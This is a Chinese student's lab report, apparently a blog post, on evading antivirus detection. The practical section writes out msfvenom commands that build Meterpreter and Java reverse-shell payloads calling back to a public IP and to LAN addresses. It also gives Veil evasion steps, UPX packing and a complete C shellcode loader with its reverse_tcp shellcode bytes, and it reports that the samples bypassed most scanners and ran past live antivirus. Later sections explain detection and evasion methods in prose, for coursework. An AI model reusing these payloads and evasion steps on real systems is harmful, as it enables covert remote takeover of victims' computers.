实践过程记录(5分)

方法(3分)

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件(1分)

实验二中的exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.116.178.215 LPORT=2217 -e x86/shikata_ga_nai -f exe > lhq20212217_payload.exe

jar

msfvenom -p java/shell_reverse_tcp LHOST=47.116.178.215 LPORT=2217 -e x86/shikata_ga_nai -f jar > lhq20212217_payload.jar

veil,加壳工具(1分)

安装veil: sudo apt-get install veil-evasion

安装完成后使用vi将/usr/share/veil/config/setup.sh第260行仓库的地址从github修改到gitee

接着输入veil,veil会进一步安装,这里我选择了y,其实选择slient安装会更方便
依次下载wine python3.4 pycrypto ruby和autoit

不建议修改路径,默认安装在C盘,一路Next,于是就Error....

其实问题不大,只不过要重装一遍AutoIT,这次使用slient模式,最后Done!

安装完成后,用如下代码生成木马

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.244.128
set LPORT 2127
generate

use evasion

use c/meterpreter/rev_tcp.py

set LHOST 192.168.244.128
set LPORT 2127
generate

在平台上测试,可以绕过25个防御

接着用UPX加壳

再检测,没想到加了壳之后,检出率反而变高了

使用C + shellcode编程(1分)

使用MSF生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.216 LPORT=2217 -f c


粘贴上述shellcode,编辑如下C语言文件

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\x50\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x1f\xd8\x68\x02\x00"
"\x08\xa9\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
int main()
{
     int (*func)() =(int(*)())buf;
     func();
}

使用如下代码生成木马

i686-w64-mingw32-g++ lhq20212217_shellcode.c -o lhq20212217_shellcode_c.exe

将上述生成的木马进行杀软检查,可以看到躲过了29个平台的检测

通过组合应用各种技术实现恶意代码免杀(1分)

键入以下代码

veil
use evasion
use python/shellcode_inject/aes_encrypt.py
generate
2
回车
192.168.31.216
2217
lhq20212217_bypass

 mv /var/lib/veil/output/source/lhq20212217_bypass.py /mnt/c/Users/Huawei/Downloads

将生成的python文件上传并检测:

可见仍能被部分杀软检测,但是总体而言检出率已经很低了

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(附加1分)

基础问题回答(1分)

杀软是如何检测出恶意代码的?

最传统的恶意软件检测方法是基于签名的检测(Signature-based detection)。杀毒软件会维护一个恶意软件特征数据库,即“签名库”。每个签名代表一种已知恶意软件的特征。当扫描文件时,杀毒软件会检查文件中是否存在这些已知的恶意特征。如果匹配到某个签名,就认为该文件是恶意的。

启发式分析(Heuristic analysis)是一种更为主动的检测方法。它不依赖于预先定义的恶意软件特征,而是通过分析程序的行为和代码结构来判断其是否具有恶意性。例如,如果一个程序试图修改系统文件、监听键盘输入或者在没有用户允许的情况下连接到互联网,这些行为可能会被启发式分析判定为可疑。

沙箱是一种安全机制,沙箱技术(Sandboxing) 允许程序在一个隔离的环境中运行,以观察程序的行为。通过沙箱技术,杀毒软件可以安全地执行可疑文件,观察其行为而不影响主机系统。如果文件在沙箱中表现出恶意行为,那么它就可以被认定为恶意代码。

随着云计算的发展,杀毒软件也开始基于云的检测(Cloud-based detection) 来提高检测效率。用户计算机上的杀毒软件可以将可疑文件的特征上传到云端,云服务器上更强大的分析工具可以对这些文件进行深入分析,并将结果反馈给用户。这种方法可以快速处理新型或未知的恶意软件。

杀毒软件会持续进行行为监控(Behavior monitoring) 。通过分析程序的运行模式和系统调用,杀毒软件可以识别出异常行为,从而发现潜在的恶意软件。

利用机器学习和人工智能(Machine learning and AI) ,杀毒软件可以从大量的样本中学习恶意软件的共同特征。这种方法可以帮助杀毒软件识别出新的、未知的或者变种的恶意软件。人工智能技术的应用进一步提高了检测的准确性和效率。

免杀是做什么?

免杀技术是恶意软件制作者用来逃避安全软件检测的手段。这些技术的目的是在不被发现的情况下执行恶意活动。免杀技术不断进化,对抗安全软件的检测能力。因此,安全研究人员和杀毒软件开发者也在不断更新和改进检测技术,以对抗这些免杀手段。用户也应该采取预防措施,以提高自己的网络安全防护能力。

免杀的基本方法有哪些?

  1. 代码混淆(Code Obfuscation): 通过改变代码的结构和语义,使得代码难以阅读和分析。混淆技术包括变量名、函数名的替换,代码结构的改变等,目的是让分析者难以理解代码的真实意图。

  2. 加壳和加密(Packaging and Encryption): 使用特殊的工具对恶意代码进行加密和打包,使得直接分析文件内容变得困难。只有在运行时,通过特定的解密算法才能恢复原始的恶意代码。

  3. 动态解密执行(Dynamic Decryption and Execution): 在运行时动态解密并执行加密的代码段,这样在文件存储或传输过程中,恶意代码不是直接暴露的,增加了检测的难度。

  4. 多态性(Polymorphism): 每次感染或传播时,恶意软件都会改变其代码结构或部分代码,使得每个样本都具有唯一性,从而避免基于签名的检测。

  5. 行为隐藏(Behavior Hiding): 通过各种手段隐藏恶意行为,例如使用合法的系统调用来掩盖其恶意行为,或者在执行时清除日志记录,避免留下痕迹。

  6. Rootkit技术(Rootkit Technology): Rootkit是一种可以深入操作系统核心层次的技术,它能够隐藏进程、文件、网络连接等,使得恶意软件难以被发现。

  7. 利用零日漏洞(Zero-day Exploits): 利用尚未被公开或修复的软件漏洞进行攻击,由于安全软件还未有针对性的检测手段,因此可以暂时逃避检测。

  8. 文件自我恢复(Self-Healing Files): 如果恶意文件被部分删除或修改,它能够自动恢复到原始状态,保持其完整性和功能性。

  9. 反调试技术(Anti-debugging Techniques): 通过检测调试行为来防止分析者使用调试工具来分析恶意软件的行为和逻辑。

开启杀软能绝对防止电脑中恶意代码吗?

开启杀毒软件(Antivirus software)是保护电脑不受恶意代码侵害的重要措施之一,但并不能保证绝对防止电脑中恶意代码。杀毒软件提供了多层次的保护,包括实时扫描、邮件过滤、网页保护、行为监控等功能,能够在很大程度上减少恶意软件感染的风险。然而,没有任何安全措施能够提供100%的保障。
杀毒软件依赖于病毒定义库来识别已知的恶意软件。对于新出现的或未知的威胁,杀毒软件可能无法立即识别和处理,直到更新了相应的病毒定义库。
零日漏洞是指软件中未被公开的、尚未修复的安全漏洞。当存在0day漏洞时,攻击者可能利用这些漏洞传播恶意软件,而杀毒软件在漏洞被公开和修复之前可能无法检测到这类攻击。
除此之外, APT是一种复杂的网络攻击,攻击者长期潜伏在网络中,悄无声息地窃取信息。这类攻击通常使用高度定制化的工具和技术,难以被传统的杀毒软件发现。

实践总结与体会(1分)

本次实验相较于前两次操作量大了许多。首先在安装evil环节就需要配置大量的库,完成安装后还需要结合MSF生成恶意代码,实践的综合性增强了。并且,这次实验不光要走课上的实验流程,还需要我课下搜集资料探索免杀策略。查阅资料和实验验证都需要花费大量的实践。整个实验前前后后大约花费了3天时间才完成。
不过在这一过程中我也学习到了很多知识,成功地把shellcode和木马结合了起来,并通过upx和evil进行加壳。完成了一个木马的完整制作工艺。也让我体会到网络安全就是对抗和较量的过程。“道高一尺魔高一丈”,安全人员和机要员必须时刻谨慎小心,确保信息的安全可用。

问题与解决

veil木马生成错误

原因是我的lhq20212217用户没有root权限,在root下生成即可

posted on 2024-04-03 00:10  亦知亦行  阅读(50)  评论(0编辑  收藏  举报